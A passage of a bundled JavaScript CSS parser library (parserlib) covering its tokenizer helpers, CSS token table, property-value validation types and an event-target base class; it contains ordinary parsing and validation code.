5407 } else {
5408 hasDot = true;
5409 number += reader.read();
5410 }
5411 } else {
5412 break;
5413 }
5414
5415 c = reader.peek();
5416 }
5417
5418 return number;
5419 },
5420
5421 // returns null w/o resetting reader if string is invalid.
5422 readString: function() {
5423 var token = this.stringToken(this._reader.read(), 0, 0);
5424 return token.type === Tokens.INVALID ? null : token.value;
5425 },
5426
5427 // returns null w/o resetting reader if URI is invalid.
5428 readURI: function(first) {
5429 var reader = this._reader,
5430 uri = first,
5431 inner = "",
5432 c = reader.peek();
5433
5434 //skip whitespace before
5435 while (c && isWhitespace(c)) {
5436 reader.read();
5437 c = reader.peek();
5438 }
5439
5440 //it's a string
5441 if (c === "'" || c === "\"") {
5442 inner = this.readString();
5443 if (inner !== null) {
5444 inner = PropertyValuePart.parseString(inner);
5445 }
5446 } else {
5447 inner = this.readUnquotedURL();
5448 }
5449
5450 c = reader.peek();
5451
5452 //skip whitespace after
5453 while (c && isWhitespace(c)) {
5454 reader.read();
5455 c = reader.peek();
5456 }
5457
5458 //if there was no inner value or the next character isn't closing paren, it's not a URI
5459 if (inner === null || c !== ")") {
5460 uri = null;
5461 } else {
5462 // Ensure argument to URL is always double-quoted
5463 // (This simplifies later processing in PropertyValuePart.)
5464 uri += PropertyValuePart.serializeString(inner) + reader.read();
5465 }
5466
5467 return uri;
5468 },
5469 // This method never fails, although it may return an empty string.
5470 readUnquotedURL: function(first) {
5471 var reader = this._reader,
5472 url = first || "",
5473 c;
5474
5475 for (c = reader.peek(); c; c = reader.peek()) {
5476 // Note that the grammar at
5477 // https://www.w3.org/TR/CSS2/grammar.html#scanner
5478 // incorrectly includes the backslash character in the
5479 // `url` production, although it is correctly omitted in
5480 // the `baduri1` production.
5481 if (nonascii.test(c) || /^[\-!#$%&*-\[\]-~]$/.test(c)) {
5482 url += c;
5483 reader.read();
5484 } else if (c === "\\") {
5485 if (/^[^\r\n\f]$/.test(reader.peek(2))) {
5486 url += this.readEscape(reader.read(), true);
5487 } else {
5488 break; // bad escape sequence.
5489 }
5490 } else {
5491 break; // bad character
5492 }
5493 }
5494
5495 return url;
5496 },
5497
5498 readName: function(first) {
5499 var reader = this._reader,
5500 ident = first || "",
5501 c;
5502
5503 for (c = reader.peek(); c; c = reader.peek()) {
5504 if (c === "\\") {
5505 if (/^[^\r\n\f]$/.test(reader.peek(2))) {
5506 ident += this.readEscape(reader.read(), true);
5507 } else {
5508 // Bad escape sequence.
5509 break;
5510 }
5511 } else if (isNameChar(c)) {
5512 ident += reader.read();
5513 } else {
5514 break;
5515 }
5516 }
5517
5518 return ident;
5519 },
5520
5521 readEscape: function(first, unescape) {
5522 var reader = this._reader,
5523 cssEscape = first || "",
5524 i = 0,
5525 c = reader.peek();
5526
5527 if (isHexDigit(c)) {
5528 do {
5529 cssEscape += reader.read();
5530 c = reader.peek();
5531 } while (c && isHexDigit(c) && ++i < 6);
5532 }
5533
5534 if (cssEscape.length === 1) {
5535 if (/^[^\r\n\f0-9a-f]$/.test(c)) {
5536 reader.read();
5537 if (unescape) {
5538 return c;
5539 }
5540 } else {
5541 // We should never get here (readName won't call readEscape
5542 // if the escape sequence is bad).
5543 throw new Error("Bad escape sequence.");
5544 }
5545 } else if (c === "\r") {
5546 reader.read();
5547 if (reader.peek() === "\n") {
5548 c += reader.read();
5549 }
5550 } else if (/^[ \t\n\f]$/.test(c)) {
5551 reader.read();
5552 } else {
5553 c = "";
5554 }
5555
5556 if (unescape) {
5557 var cp = parseInt(cssEscape.slice(first.length), 16);
5558 return String.fromCodePoint ? String.fromCodePoint(cp) :
5559 String.fromCharCode(cp);
5560 }
5561 return cssEscape + c;
5562 },
5563
5564 readComment: function(first) {
5565 var reader = this._reader,
5566 comment = first || "",
5567 c = reader.read();
5568
5569 if (c === "*") {
5570 while (c) {
5571 comment += c;
5572
5573 //look for end of comment
5574 if (comment.length > 2 && c === "*" && reader.peek() === "/") {
5575 comment += reader.read();
5576 break;
5577 }
5578
5579 c = reader.read();
5580 }
5581
5582 return comment;
5583 } else {
5584 return "";
5585 }
5586
5587 }
5588});
5589
5590},{"../util/TokenStreamBase":27,"./PropertyValuePart":11,"./Tokens":18}],18:[function(require,module,exports){
5591"use strict";
5592
5593var Tokens = module.exports = [
5594
5595 /*
5596 * The following token names are defined in CSS3 Grammar: https://www.w3.org/TR/css3-syntax/#lexical
5597 */
5598
5599 // HTML-style comments
5600 { name: "CDO" },
5601 { name: "CDC" },
5602
5603 // ignorables
5604 { name: "S", whitespace: true/*, channel: "ws"*/ },
5605 { name: "COMMENT", comment: true, hide: true, channel: "comment" },
5606
5607 // attribute equality
5608 { name: "INCLUDES", text: "~=" },
5609 { name: "DASHMATCH", text: "|=" },
5610 { name: "PREFIXMATCH", text: "^=" },
5611 { name: "SUFFIXMATCH", text: "$=" },
5612 { name: "SUBSTRINGMATCH", text: "*=" },
5613
5614 // identifier types
5615 { name: "STRING" },
5616 { name: "IDENT" },
5617 { name: "HASH" },
5618
5619 // at-keywords
5620 { name: "IMPORT_SYM", text: "@import" },
5621 { name: "PAGE_SYM", text: "@page" },
5622 { name: "MEDIA_SYM", text: "@media" },
5623 { name: "FONT_FACE_SYM", text: "@font-face" },
5624 { name: "CHARSET_SYM", text: "@charset" },
5625 { name: "NAMESPACE_SYM", text: "@namespace" },
5626 { name: "SUPPORTS_SYM", text: "@supports" },
5627 { name: "VIEWPORT_SYM", text: ["@viewport", "@-ms-viewport", "@-o-viewport"] },
5628 { name: "DOCUMENT_SYM", text: ["@document", "@-moz-document"] },
5629 { name: "UNKNOWN_SYM" },
5630 //{ name: "ATKEYWORD"},
5631
5632 // CSS3 animations
5633 { name: "KEYFRAMES_SYM", text: [ "@keyframes", "@-webkit-keyframes", "@-moz-keyframes", "@-o-keyframes" ] },
5634
5635 // important symbol
5636 { name: "IMPORTANT_SYM" },
5637
5638 // measurements
5639 { name: "LENGTH" },
5640 { name: "ANGLE" },
5641 { name: "TIME" },
5642 { name: "FREQ" },
5643 { name: "DIMENSION" },
5644 { name: "PERCENTAGE" },
5645 { name: "NUMBER" },
5646
5647 // functions
5648 { name: "URI" },
5649 { name: "FUNCTION" },
5650
5651 // Unicode ranges
5652 { name: "UNICODE_RANGE" },
5653
5654 /*
5655 * The following token names are defined in CSS3 Selectors: https://www.w3.org/TR/css3-selectors/#selector-syntax
5656 */
5657
5658 // invalid string
5659 { name: "INVALID" },
5660
5661 // combinators
5662 { name: "PLUS", text: "+" },
5663 { name: "GREATER", text: ">" },
5664 { name: "COMMA", text: "," },
5665 { name: "TILDE", text: "~" },
5666
5667 // modifier
5668 { name: "NOT" },
5669
5670 /*
5671 * Defined in CSS3 Paged Media
5672 */
5673 { name: "TOPLEFTCORNER_SYM", text: "@top-left-corner" },
5674 { name: "TOPLEFT_SYM", text: "@top-left" },
5675 { name: "TOPCENTER_SYM", text: "@top-center" },
5676 { name: "TOPRIGHT_SYM", text: "@top-right" },
5677 { name: "TOPRIGHTCORNER_SYM", text: "@top-right-corner" },
5678 { name: "BOTTOMLEFTCORNER_SYM", text: "@bottom-left-corner" },
5679 { name: "BOTTOMLEFT_SYM", text: "@bottom-left" },
5680 { name: "BOTTOMCENTER_SYM", text: "@bottom-center" },
5681 { name: "BOTTOMRIGHT_SYM", text: "@bottom-right" },
5682 { name: "BOTTOMRIGHTCORNER_SYM", text: "@bottom-right-corner" },
5683 { name: "LEFTTOP_SYM", text: "@left-top" },
5684 { name: "LEFTMIDDLE_SYM", text: "@left-middle" },
5685 { name: "LEFTBOTTOM_SYM", text: "@left-bottom" },
5686 { name: "RIGHTTOP_SYM", text: "@right-top" },
5687 { name: "RIGHTMIDDLE_SYM", text: "@right-middle" },
5688 { name: "RIGHTBOTTOM_SYM", text: "@right-bottom" },
5689
5690 /*
5691 * The following token names are defined in CSS3 Media Queries: https://www.w3.org/TR/css3-mediaqueries/#syntax
5692 */
5693 /*{ name: "MEDIA_ONLY", state: "media"},
5694 { name: "MEDIA_NOT", state: "media"},
5695 { name: "MEDIA_AND", state: "media"},*/
5696 { name: "RESOLUTION", state: "media" },
5697
5698 /*
5699 * The following token names are not defined in any CSS specification but are used by the lexer.
5700 */
5701
5702 // not a real token, but useful for stupid IE filters
5703 { name: "IE_FUNCTION" },
5704
5705 // part of CSS3 grammar but not the Flex code
5706 { name: "CHAR" },
5707
5708 // TODO: Needed?
5709 // Not defined as tokens, but might as well be
5710 {
5711 name: "PIPE",
5712 text: "|"
5713 },
5714 {
5715 name: "SLASH",
5716 text: "/"
5717 },
5718 {
5719 name: "MINUS",
5720 text: "-"
5721 },
5722 {
5723 name: "STAR",
5724 text: "*"
5725 },
5726
5727 {
5728 name: "LBRACE",
5729 endChar: "}",
5730 text: "{"
5731 },
5732 {
5733 name: "RBRACE",
5734 text: "}"
5735 },
5736 {
5737 name: "LBRACKET",
5738 endChar: "]",
5739 text: "["
5740 },
5741 {
5742 name: "RBRACKET",
5743 text: "]"
5744 },
5745 {
5746 name: "EQUALS",
5747 text: "="
5748 },
5749 {
5750 name: "COLON",
5751 text: ":"
5752 },
5753 {
5754 name: "SEMICOLON",
5755 text: ";"
5756 },
5757 {
5758 name: "LPAREN",
5759 endChar: ")",
5760 text: "("
5761 },
5762 {
5763 name: "RPAREN",
5764 text: ")"
5765 },
5766 {
5767 name: "DOT",
5768 text: "."
5769 }
5770];
5771
5772(function() {
5773 var nameMap = [],
5774 typeMap = Object.create(null);
5775
5776 Tokens.UNKNOWN = -1;
5777 Tokens.unshift({ name:"EOF" });
5778 for (var i=0, len = Tokens.length; i < len; i++) {
5779 nameMap.push(Tokens[i].name);
5780 Tokens[Tokens[i].name] = i;
5781 if (Tokens[i].text) {
5782 if (Tokens[i].text instanceof Array) {
5783 for (var j=0; j < Tokens[i].text.length; j++) {
5784 typeMap[Tokens[i].text[j]] = i;
5785 }
5786 } else {
5787 typeMap[Tokens[i].text] = i;
5788 }
5789 }
5790 }
5791
5792 Tokens.name = function(tt) {
5793 return nameMap[tt];
5794 };
5795
5796 Tokens.type = function(c) {
5797 return typeMap[c] || -1;
5798 };
5799})();
5800
5801},{}],19:[function(require,module,exports){
5802"use strict";
5803
5804/* exported Validation */
5805
5806var Matcher = require("./Matcher");
5807var Properties = require("./Properties");
5808var ValidationTypes = require("./ValidationTypes");
5809var ValidationError = require("./ValidationError");
5810var PropertyValueIterator = require("./PropertyValueIterator");
5811
5812var Validation = module.exports = {
5813
5814 validate: function(property, value) {
5815
5816 //normalize name
5817 var name = property.toString().toLowerCase(),
5818 expression = new PropertyValueIterator(value),
5819 spec = Properties[name],
5820 part;
5821
5822 if (!spec) {
5823 if (name.indexOf("-") !== 0) { //vendor prefixed are ok
5824 throw new ValidationError("Unknown property '" + property + "'.", property.line, property.col);
5825 }
5826 } else if (typeof spec !== "number") {
5827
5828 // All properties accept some CSS-wide values.
5829 // https://drafts.csswg.org/css-values-3/#common-keywords
5830 if (ValidationTypes.isAny(expression, "inherit | initial | unset")) {
5831 if (expression.hasNext()) {
5832 part = expression.next();
5833 throw new ValidationError("Expected end of value but found '" + part + "'.", part.line, part.col);
5834 }
5835 return;
5836 }
5837
5838 // Property-specific validation.
5839 this.singleProperty(spec, expression);
5840
5841 }
5842
5843 },
5844
5845 singleProperty: function(types, expression) {
5846
5847 var result = false,
5848 value = expression.value,
5849 part;
5850
5851 result = Matcher.parse(types).match(expression);
5852
5853 if (!result) {
5854 if (expression.hasNext() && !expression.isFirst()) {
5855 part = expression.peek();
5856 throw new ValidationError("Expected end of value but found '" + part + "'.", part.line, part.col);
5857 } else {
5858 throw new ValidationError("Expected (" + ValidationTypes.describe(types) + ") but found '" + value + "'.", value.line, value.col);
5859 }
5860 } else if (expression.hasNext()) {
5861 part = expression.next();
5862 throw new ValidationError("Expected end of value but found '" + part + "'.", part.line, part.col);
5863 }
5864
5865 }
5866
5867};
5868
5869},{"./Matcher":3,"./Properties":7,"./PropertyValueIterator":10,"./ValidationError":20,"./ValidationTypes":21}],20:[function(require,module,exports){
5870"use strict";
5871
5872module.exports = ValidationError;
5873
5874/**
5875 * Type to use when a validation error occurs.
5876 * @class ValidationError
5877 * @namespace parserlib.util
5878 * @constructor
5879 * @param {String} message The error message.
5880 * @param {int} line The line at which the error occurred.
5881 * @param {int} col The column at which the error occurred.
5882 */
5883function ValidationError(message, line, col) {
5884
5885 /**
5886 * The column at which the error occurred.
5887 * @type int
5888 * @property col
5889 */
5890 this.col = col;
5891
5892 /**
5893 * The line at which the error occurred.
5894 * @type int
5895 * @property line
5896 */
5897 this.line = line;
5898
5899 /**
5900 * The text representation of the unit.
5901 * @type String
5902 * @property text
5903 */
5904 this.message = message;
5905
5906}
5907
5908//inherit from Error
5909ValidationError.prototype = new Error();
5910
5911},{}],21:[function(require,module,exports){
5912"use strict";
5913
5914var ValidationTypes = module.exports;
5915
5916var Matcher = require("./Matcher");
5917
5918function copy(to, from) {
5919 Object.keys(from).forEach(function(prop) {
5920 to[prop] = from[prop];
5921 });
5922}
5923copy(ValidationTypes, {
5924
5925 isLiteral: function (part, literals) {
5926 var text = part.text.toString().toLowerCase(),
5927 args = literals.split(" | "),
5928 i, len, found = false;
5929
5930 for (i=0, len=args.length; i < len && !found; i++) {
5931 if (args[i].charAt(0) === "<") {
5932 found = this.simple[args[i]](part);
5933 } else if (args[i].slice(-2) === "()") {
5934 found = (part.type === "function" &&
5935 part.name === args[i].slice(0, -2));
5936 } else if (text === args[i].toLowerCase()) {
5937 found = true;
5938 }
5939 }
5940
5941 return found;
5942 },
5943
5944 isSimple: function(type) {
5945 return Boolean(this.simple[type]);
5946 },
5947
5948 isComplex: function(type) {
5949 return Boolean(this.complex[type]);
5950 },
5951
5952 describe: function(type) {
5953 if (this.complex[type] instanceof Matcher) {
5954 return this.complex[type].toString(0);
5955 }
5956 return type;
5957 },
5958
5959 /**
5960 * Determines if the next part(s) of the given expression
5961 * are any of the given types.
5962 */
5963 isAny: function (expression, types) {
5964 var args = types.split(" | "),
5965 i, len, found = false;
5966
5967 for (i=0, len=args.length; i < len && !found && expression.hasNext(); i++) {
5968 found = this.isType(expression, args[i]);
5969 }
5970
5971 return found;
5972 },
5973
5974 /**
5975 * Determines if the next part(s) of the given expression
5976 * are one of a group.
5977 */
5978 isAnyOfGroup: function(expression, types) {
5979 var args = types.split(" || "),
5980 i, len, found = false;
5981
5982 for (i=0, len=args.length; i < len && !found; i++) {
5983 found = this.isType(expression, args[i]);
5984 }
5985
5986 return found ? args[i-1] : false;
5987 },
5988
5989 /**
5990 * Determines if the next part(s) of the given expression
5991 * are of a given type.
5992 */
5993 isType: function (expression, type) {
5994 var part = expression.peek(),
5995 result = false;
5996
5997 if (type.charAt(0) !== "<") {
5998 result = this.isLiteral(part, type);
5999 if (result) {
6000 expression.next();
6001 }
6002 } else if (this.simple[type]) {
6003 result = this.simple[type](part);
6004 if (result) {
6005 expression.next();
6006 }
6007 } else if (this.complex[type] instanceof Matcher) {
6008 result = this.complex[type].match(expression);
6009 } else {
6010 result = this.complex[type](expression);
6011 }
6012
6013 return result;
6014 },
6015
6016
6017 simple: {
6018 __proto__: null,
6019
6020 "<absolute-size>":
6021 "xx-small | x-small | small | medium | large | x-large | xx-large",
6022
6023 "<animateable-feature>":
6024 "scroll-position | contents | <animateable-feature-name>",
6025
6026 "<animateable-feature-name>": function(part) {
6027 return this["<ident>"](part) &&
6028 !/^(unset|initial|inherit|will-change|auto|scroll-position|contents)$/i.test(part);
6029 },
6030
6031 "<angle>": function(part) {
6032 return part.type === "angle";
6033 },
6034
6035 "<attachment>": "scroll | fixed | local",
6036
6037 "<attr>": "attr()",
6038
6039 // inset() = inset( <shape-arg>{1,4} [round <border-radius>]? )
6040 // circle() = circle( [<shape-radius>]? [at <position>]? )
6041 // ellipse() = ellipse( [<shape-radius>{2}]? [at <position>]? )
6042 // polygon() = polygon( [<fill-rule>,]? [<shape-arg> <shape-arg>]# )
6043 "<basic-shape>": "inset() | circle() | ellipse() | polygon()",
6044
6045 "<bg-image>": "<image> | <gradient> | none",
6046
6047 "<border-style>":
6048 "none | hidden | dotted | dashed | solid | double | groove | " +
6049 "ridge | inset | outset",
6050
6051 "<border-width>": "<length> | thin | medium | thick",
6052
6053 "<box>": "padding-box | border-box | content-box",
6054
6055 "<clip-source>": "<uri>",
6056
6057 "<color>": function(part) {
6058 return part.type === "color" || String(part) === "transparent" || String(part) === "currentColor";
6059 },
6060
6061 // The SVG <color> spec doesn't include "currentColor" or "transparent" as a color.
6062 "<color-svg>": function(part) {
6063 return part.type === "color";
6064 },
6065
6066 "<content>": "content()",
6067
6068 // https://www.w3.org/TR/css3-sizing/#width-height-keywords
6069 "<content-sizing>":
6070 "fill-available | -moz-available | -webkit-fill-available | " +
6071 "max-content | -moz-max-content | -webkit-max-content | " +
6072 "min-content | -moz-min-content | -webkit-min-content | " +
6073 "fit-content | -moz-fit-content | -webkit-fit-content",
6074
6075 "<feature-tag-value>": function(part) {
6076 return part.type === "function" && /^[A-Z0-9]{4}$/i.test(part);
6077 },
6078
6079 // custom() isn't actually in the spec
6080 "<filter-function>":
6081 "blur() | brightness() | contrast() | custom() | " +
6082 "drop-shadow() | grayscale() | hue-rotate() | invert() | " +
6083 "opacity() | saturate() | sepia()",
6084
6085 "<flex-basis>": "<width>",
6086
6087 "<flex-direction>": "row | row-reverse | column | column-reverse",
6088
6089 "<flex-grow>": "<number>",
6090
6091 "<flex-shrink>": "<number>",
6092
6093 "<flex-wrap>": "nowrap | wrap | wrap-reverse",
6094
6095 "<font-size>":
6096 "<absolute-size> | <relative-size> | <length> | <percentage>",
6097
6098 "<font-stretch>":
6099 "normal | ultra-condensed | extra-condensed | condensed | " +
6100 "semi-condensed | semi-expanded | expanded | extra-expanded | " +
6101 "ultra-expanded",
6102
6103 "<font-style>": "normal | italic | oblique",
6104
6105 "<font-variant-caps>":
6106 "small-caps | all-small-caps | petite-caps | all-petite-caps | " +
6107 "unicase | titling-caps",
6108
6109 "<font-variant-css21>": "normal | small-caps",
6110
6111 "<font-weight>":
6112 "normal | bold | bolder | lighter | " +
6113 "100 | 200 | 300 | 400 | 500 | 600 | 700 | 800 | 900",
6114
6115 "<generic-family>":
6116 "serif | sans-serif | cursive | fantasy | monospace",
6117
6118 "<geometry-box>": "<shape-box> | fill-box | stroke-box | view-box",
6119
6120 "<glyph-angle>": function(part) {
6121 return part.type === "angle" && part.units === "deg";
6122 },
6123
6124 "<gradient>": function(part) {
6125 return part.type === "function" && /^(?:\-(?:ms|moz|o|webkit)\-)?(?:repeating\-)?(?:radial\-|linear\-)?gradient/i.test(part);
6126 },
6127
6128 "<icccolor>":
6129 "cielab() | cielch() | cielchab() | " +
6130 "icc-color() | icc-named-color()",
6131
6132 //any identifier
6133 "<ident>": function(part) {
6134 return part.type === "identifier" || part.wasIdent;
6135 },
6136
6137 "<ident-not-generic-family>": function(part) {
6138 return this["<ident>"](part) && !this["<generic-family>"](part);
6139 },
6140
6141 "<image>": "<uri>",
6142
6143 "<integer>": function(part) {
6144 return part.type === "integer";
6145 },
6146
6147 "<length>": function(part) {
6148 if (part.type === "function" && /^(?:\-(?:ms|moz|o|webkit)\-)?calc/i.test(part)) {
6149 return true;
6150 } else {
6151 return part.type === "length" || part.type === "number" || part.type === "integer" || String(part) === "0";
6152 }
6153 },
6154
6155 "<line>": function(part) {
6156 return part.type === "integer";
6157 },
6158
6159 "<line-height>": "<number> | <length> | <percentage> | normal",
6160
6161 "<margin-width>": "<length> | <percentage> | auto",
6162
6163 "<miterlimit>": function(part) {
6164 return this["<number>"](part) && part.value >= 1;
6165 },
6166
6167 "<nonnegative-length-or-percentage>": function(part) {
6168 return (this["<length>"](part) || this["<percentage>"](part)) &&
6169 (String(part) === "0" || part.type === "function" || (part.value) >= 0);
6170 },
6171
6172 "<nonnegative-number-or-percentage>": function(part) {
6173 return (this["<number>"](part) || this["<percentage>"](part)) &&
6174 (String(part) === "0" || part.type === "function" || (part.value) >= 0);
6175 },
6176
6177 "<number>": function(part) {
6178 return part.type === "number" || this["<integer>"](part);
6179 },
6180
6181 "<opacity-value>": function(part) {
6182 return this["<number>"](part) && part.value >= 0 && part.value <= 1;
6183 },
6184
6185 "<padding-width>": "<nonnegative-length-or-percentage>",
6186
6187 "<percentage>": function(part) {
6188 return part.type === "percentage" || String(part) === "0";
6189 },
6190
6191 "<relative-size>": "smaller | larger",
6192
6193 "<shape>": "rect() | inset-rect()",
6194
6195 "<shape-box>": "<box> | margin-box",
6196
6197 "<single-animation-direction>":
6198 "normal | reverse | alternate | alternate-reverse",
6199
6200 "<single-animation-name>": function(part) {
6201 return this["<ident>"](part) &&
6202 /^-?[a-z_][-a-z0-9_]+$/i.test(part) &&
6203 !/^(none|unset|initial|inherit)$/i.test(part);
6204 },
6205
6206 "<string>": function(part) {
6207 return part.type === "string";
6208 },
6209
6210 "<time>": function(part) {
6211 return part.type === "time";
6212 },
6213
6214 "<uri>": function(part) {
6215 return part.type === "uri";
6216 },
6217
6218 "<width>": "<margin-width>"
6219 },
6220
6221 complex: {
6222 __proto__: null,
6223
6224 "<azimuth>":
6225 "<angle>" +
6226 " | " +
6227 "[ [ left-side | far-left | left | center-left | center | " +
6228 "center-right | right | far-right | right-side ] || behind ]" +
6229 " | "+
6230 "leftwards | rightwards",
6231
6232 "<bg-position>": "<position>#",
6233
6234 "<bg-size>":
6235 "[ <length> | <percentage> | auto ]{1,2} | cover | contain",
6236
6237 "<border-image-slice>":
6238 // [<number> | <percentage>]{1,4} && fill?
6239 // *but* fill can appear between any of the numbers
6240 Matcher.many([true /* first element is required */],
6241 Matcher.cast("<nonnegative-number-or-percentage>"),
6242 Matcher.cast("<nonnegative-number-or-percentage>"),
6243 Matcher.cast("<nonnegative-number-or-percentage>"),
6244 Matcher.cast("<nonnegative-number-or-percentage>"),
6245 "fill"),
6246
6247 "<border-radius>":
6248 "<nonnegative-length-or-percentage>{1,4} " +
6249 "[ / <nonnegative-length-or-percentage>{1,4} ]?",
6250
6251 "<box-shadow>": "none | <shadow>#",
6252
6253 "<clip-path>": "<basic-shape> || <geometry-box>",
6254
6255 "<dasharray>":
6256 // "list of comma and/or white space separated <length>s and
6257 // <percentage>s". There is a non-negative constraint.
6258 Matcher.cast("<nonnegative-length-or-percentage>")
6259 .braces(1, Infinity, "#", Matcher.cast(",").question()),
6260
6261 "<family-name>":
6262 // <string> | <IDENT>+
6263 "<string> | <ident-not-generic-family> <ident>*",
6264
6265 "<filter-function-list>": "[ <filter-function> | <uri> ]+",
6266
6267 // https://www.w3.org/TR/2014/WD-css-flexbox-1-20140325/#flex-property
6268 "<flex>":
6269 "none | [ <flex-grow> <flex-shrink>? || <flex-basis> ]",
6270
6271 "<font-family>": "[ <generic-family> | <family-name> ]#",
6272
6273 "<font-shorthand>":
6274 "[ <font-style> || <font-variant-css21> || " +
6275 "<font-weight> || <font-stretch> ]? <font-size> " +
6276 "[ / <line-height> ]? <font-family>",
6277
6278 "<font-variant-alternates>":
6279 // stylistic(<feature-value-name>)
6280 "stylistic() || " +
6281 "historical-forms || " +
6282 // styleset(<feature-value-name> #)
6283 "styleset() || " +
6284 // character-variant(<feature-value-name> #)
6285 "character-variant() || " +
6286 // swash(<feature-value-name>)
6287 "swash() || " +
6288 // ornaments(<feature-value-name>)
6289 "ornaments() || " +
6290 // annotation(<feature-value-name>)
6291 "annotation()",
6292
6293 "<font-variant-ligatures>":
6294 // <common-lig-values>
6295 "[ common-ligatures | no-common-ligatures ] || " +
6296 // <discretionary-lig-values>
6297 "[ discretionary-ligatures | no-discretionary-ligatures ] || " +
6298 // <historical-lig-values>
6299 "[ historical-ligatures | no-historical-ligatures ] || " +
6300 // <contextual-alt-values>
6301 "[ contextual | no-contextual ]",
6302
6303 "<font-variant-numeric>":
6304 // <numeric-figure-values>
6305 "[ lining-nums | oldstyle-nums ] || " +
6306 // <numeric-spacing-values>
6307 "[ proportional-nums | tabular-nums ] || " +
6308 // <numeric-fraction-values>
6309 "[ diagonal-fractions | stacked-fractions ] || " +
6310 "ordinal || slashed-zero",
6311
6312 "<font-variant-east-asian>":
6313 // <east-asian-variant-values>
6314 "[ jis78 | jis83 | jis90 | jis04 | simplified | traditional ] || " +
6315 // <east-asian-width-values>
6316 "[ full-width | proportional-width ] || " +
6317 "ruby",
6318
6319 // Note that <color> here is "as defined in the SVG spec", which
6320 // is more restrictive that the <color> defined in the CSS spec.
6321 // none | currentColor | <color> [<icccolor>]? |
6322 // <funciri> [ none | currentColor | <color> [<icccolor>]? ]?
6323 "<paint>": "<paint-basic> | <uri> <paint-basic>?",
6324
6325 // Helper definition for <paint> above.
6326 "<paint-basic>": "none | currentColor | <color-svg> <icccolor>?",
6327
6328 "<position>":
6329 // Because our `alt` combinator is ordered, we need to test these
6330 // in order from longest possible match to shortest.
6331 "[ center | [ left | right ] [ <percentage> | <length> ]? ] && " +
6332 "[ center | [ top | bottom ] [ <percentage> | <length> ]? ]" +
6333 " | " +
6334 "[ left | center | right | <percentage> | <length> ] " +
6335 "[ top | center | bottom | <percentage> | <length> ]" +
6336 " | " +
6337 "[ left | center | right | top | bottom | <percentage> | <length> ]",
6338
6339 "<repeat-style>":
6340 "repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2}",
6341
6342 "<shadow>":
6343 //inset? && [ <length>{2,4} && <color>? ]
6344 Matcher.many([true /* length is required */],
6345 Matcher.cast("<length>").braces(2, 4), "inset", "<color>"),
6346
6347 "<text-decoration-color>":
6348 "<color>",
6349
6350 "<text-decoration-line>":
6351 "none | [ underline || overline || line-through || blink ]",
6352
6353 "<text-decoration-style>":
6354 "solid | double | dotted | dashed | wavy",
6355
6356 "<will-change>":
6357 "auto | <animateable-feature>#",
6358
6359 "<x-one-radius>":
6360 //[ <length> | <percentage> ] [ <length> | <percentage> ]?
6361 "[ <length> | <percentage> ]{1,2}"
6362 }
6363});
6364
6365Object.keys(ValidationTypes.simple).forEach(function(nt) {
6366 var rule = ValidationTypes.simple[nt];
6367 if (typeof rule === "string") {
6368 ValidationTypes.simple[nt] = function(part) {
6369 return ValidationTypes.isLiteral(part, rule);
6370 };
6371 }
6372});
6373
6374Object.keys(ValidationTypes.complex).forEach(function(nt) {
6375 var rule = ValidationTypes.complex[nt];
6376 if (typeof rule === "string") {
6377 ValidationTypes.complex[nt] = Matcher.parse(rule);
6378 }
6379});
6380
6381// Because this is defined relative to other complex validation types,
6382// we need to define it *after* the rest of the types are initialized.
6383ValidationTypes.complex["<font-variant>"] =
6384 Matcher.oror({ expand: "<font-variant-ligatures>" },
6385 { expand: "<font-variant-alternates>" },
6386 "<font-variant-caps>",
6387 { expand: "<font-variant-numeric>" },
6388 { expand: "<font-variant-east-asian>" });
6389
6390},{"./Matcher":3}],22:[function(require,module,exports){
6391"use strict";
6392
6393module.exports = {
6394 Colors : require("./Colors"),
6395 Combinator : require("./Combinator"),
6396 Parser : require("./Parser"),
6397 PropertyName : require("./PropertyName"),
6398 PropertyValue : require("./PropertyValue"),
6399 PropertyValuePart : require("./PropertyValuePart"),
6400 Matcher : require("./Matcher"),
6401 MediaFeature : require("./MediaFeature"),
6402 MediaQuery : require("./MediaQuery"),
6403 Selector : require("./Selector"),
6404 SelectorPart : require("./SelectorPart"),
6405 SelectorSubPart : require("./SelectorSubPart"),
6406 Specificity : require("./Specificity"),
6407 TokenStream : require("./TokenStream"),
6408 Tokens : require("./Tokens"),
6409 ValidationError : require("./ValidationError")
6410};
6411
6412},{"./Colors":1,"./Combinator":2,"./Matcher":3,"./MediaFeature":4,"./MediaQuery":5,"./Parser":6,"./PropertyName":8,"./PropertyValue":9,"./PropertyValuePart":11,"./Selector":13,"./SelectorPart":14,"./SelectorSubPart":15,"./Specificity":16,"./TokenStream":17,"./Tokens":18,"./ValidationError":20}],23:[function(require,module,exports){
6413"use strict";
6414
6415module.exports = EventTarget;
6416
6417/**
6418 * A generic base to inherit from for any object
6419 * that needs event handling.
6420 * @class EventTarget
6421 * @constructor
6422 */
6423function EventTarget() {
6424
6425 /**
6426 * The array of listeners for various events.
6427 * @type Object
6428 * @property _listeners
6429 * @private
6430 */
6431 this._listeners = Object.create(null);
6432}
6433
6434EventTarget.prototype = {
6435
6436 //restore constructor
6437 constructor: EventTarget,
6438
6439 /**
6440 * Adds a listener for a given event type.
6441 * @param {String} type The type of event to add a listener for.
6442 * @param {Function} listener The function to call when the event occurs.
6443 * @return {void}
6444 * @method addListener
6445 */
6446 addListener: function(type, listener) {
6447 if (!this._listeners[type]) {
6448 this._listeners[type] = [];
6449 }
6450
6451 this._listeners[type].push(listener);
6452 },
6453
6454 /**
6455 * Fires an event based on the passed-in object.
6456 * @param {Object|String} event An object with at least a 'type' attribute
6457 * or a string indicating the event name.
6458 * @return {void}
6459 * @method fire
6460 */
6461 fire: function(event) {
6462 if (typeof event === "string") {
6463 event = { type: event };
6464 }
6465 if (typeof event.target !== "undefined") {
6466 event.target = this;
6467 }
6468
6469 if (typeof event.type === "undefined") {
6470 throw new Error("Event object missing 'type' property.");
6471 }
6472
6473 if (this._listeners[event.type]) {
6474
6475 //create a copy of the array and use that so listeners can't chane
6476 var listeners = this._listeners[event.type].concat();
6477 for (var i=0, len=listeners.length; i < len; i++) {
6478 listeners[i].call(this, event);
6479 }
6480 }
6481 },
6482
6483 /**
6484 * Removes a listener for a given event type.
6485 * @param {String} type The type of event to remove a listener from.
6486 * @param {Function} listener The function to remove from the event.
6487 * @return {void}
6488 * @method removeListener
6489 */
6490 removeListener: function(type, listener) {
6491 if (this._listeners[type]) {
6492 var listeners = this._listeners[type];
6493 for (var i=0, len=listeners.length; i < len; i++) {
6494 if (listeners[i] === listener) {
6495 listeners.splice(i, 1);
6496 break;
6497 }
